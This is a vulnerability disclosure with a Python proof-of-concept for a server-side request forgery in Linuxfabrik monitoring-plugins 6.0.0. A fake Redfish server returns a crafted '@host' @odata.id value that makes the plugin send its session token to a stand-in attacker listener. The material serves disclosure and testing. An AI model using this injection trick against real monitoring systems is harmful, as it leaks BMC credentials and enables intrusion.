Linuxfabrik monitoring-plugins 6.0.0 Server-Side Request Forgery

# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF 
    
    # Date: 2026-07-17
    
    # Exploit Author: Pig-Tail (Jorge González Milla)
    
    # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins 
    
    # Software Link: https://github.com/Linuxfabrik/monitoring-plugins 
    
    # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1)
    
    # Tested on: Linux
    
    # CVE: N/A
    
    # Category: webapps
    
    # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins 
    
    
    
    An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv.
    
    
    
    The PoC is a benign, local verification harness (sentinel-based; no network attack, no
    
    persistence, no destructive payload). Run against a local instance of the affected version.
    
    
    
    --- PoC (redfish_ssrf_token_poc.py) ---
    
    import http.server, json, subprocess, threading, os, sys
    
    BMC_PORT, EVIL_PORT = 18080, 18081
    
    EVIL_HITS = []
    
    TOKEN = 'SESSION-TOKEN-SECRET-abc123'
    
    class BMC(http.server.BaseHTTPRequestHandler):
    
        def _j(self, obj, extra=None):
    
            b=json.dumps(obj).encode(); self.send_response(200)
    
            self.send_header('Content-Type','application/json')
    
            if extra:
    
                for k,v in extra.items(): self.send_header(k,v)
    
            self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
    
        def do_POST(self):   # session create -> issue token
    
            self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})
    
        def do_GET(self):
    
            if self.path.endswith('/SessionService'):
    
                self._j({'SessionTimeout':600})
    
            elif self.path.endswith('/Systems'):
    
                self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})
    
            else:
    
                self._j({'Members':[]})
    
        def log_message(self,*a): pass
    
    class EVIL(http.server.BaseHTTPRequestHandler):
    
        def _rec(self):
    
            EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))
    
            b=b'{"Members": []}'; self.send_response(200)
    
            self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
    
        do_GET=_rec; do_POST=_rec
    
        def log_message(self,*a): pass
    
    def serve(port,h):
    
        httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)
    
        threading.Thread(target=httpd.serve_forever,daemon=True).start()
    
    serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL)
    
    env=dict(os.environ,PYTHONPATH='/opt')
    
    plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces'
    
    cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 ']
    
    p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60)
    
    print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300])
    
    print('EVIL hits:',len(EVIL_HITS))
    
    for m,path,tok,auth in EVIL_HITS:
    
        print(f'  {m} {path}  X-Auth-Token={tok}  Authorization={auth}')
    
    print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')